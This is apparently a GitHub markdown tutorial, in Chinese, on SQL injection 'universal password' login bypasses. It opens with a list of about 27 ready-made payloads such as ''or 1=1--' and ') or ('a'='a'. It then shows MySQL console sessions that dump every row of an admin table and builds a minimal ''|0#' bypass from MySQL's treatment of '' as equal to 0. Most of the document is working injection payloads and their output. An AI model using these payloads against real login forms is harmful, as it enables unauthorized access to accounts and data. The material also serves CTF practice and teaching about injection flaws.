Skip to content

Latest commit

 

History

History
116 lines (88 loc) · 2.35 KB

1-12-再谈万能密码登陆.md

File metadata and controls

116 lines (88 loc) · 2.35 KB

0x00 再谈万能密码登陆

万能密码基本大家都用过,各种各样的,如下

'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--

其实根据前面的文章我们很容易看出 他的原理就是让我们的条件恒成立 至于为什么这么多种,就是根据语句的形势来闭合的,

这里面涉及到运算符的优先级,MySQL运算的特性,然后下面我们以几个例子来做做最另类的万能密码

mysql> select * from admin where name = '/*' and pass = '*/';
Empty set (0.00 sec)

注释绕过

mysql> select * from admin where name = ''or 1=1-- ' and pass = '123';
    -> ;
+----+-----------+-------+
| id | name      | pass  |
+----+-----------+-------+
|  1 | admin     | admin |
|  2 | admin'111 | 11111 |
|  3 | admin'111 | 11    |
|  4 | admin'111 | 11    |
+----+-----------+-------+
4 rows in set (0.00 sec)

经典的or 1=1-- 其中1=1恒为true 然后导致每条数据都成立返回

那么知道了这个原理怎么构造一个简单的万能密码呢

mysql> select ''=0
    -> ;
+------+
| ''=0 |
+------+
|    1 |
+------+
1 row in set (0.00 sec)

mysql> select 1=0=0;
+-------+
| 1=0=0 |
+-------+
|     1 |
+-------+
1 row in set (0.30 sec)

我们可以看到在mysql中 空字符串'' 等于0 为1 也就是true 知道这个特性我们可以来构造我们的万能密码了

mysql> select * from admin where name = ''|0#'  and pass = '123';
    -> ;
+----+-----------+-------+
| id | name      | pass  |
+----+-----------+-------+
|  1 | admin     | admin |
|  2 | admin'111 | 11111 |
|  3 | admin'111 | 11    |
|  4 | admin'111 | 11    |
+----+-----------+-------+
4 rows in set, 5 warnings (0.00 sec)

仅仅用了 '|0# 个字符就能达到我们的效果 其他方法大家还可以测试,因为是自己发现的,然后问了几个师傅 发现ctf已经别人都用过了 ,不得不承认自己的知识量远远不够。

0x01 文末

本文如有错误,请及时提醒,避免误导他人

  • author:404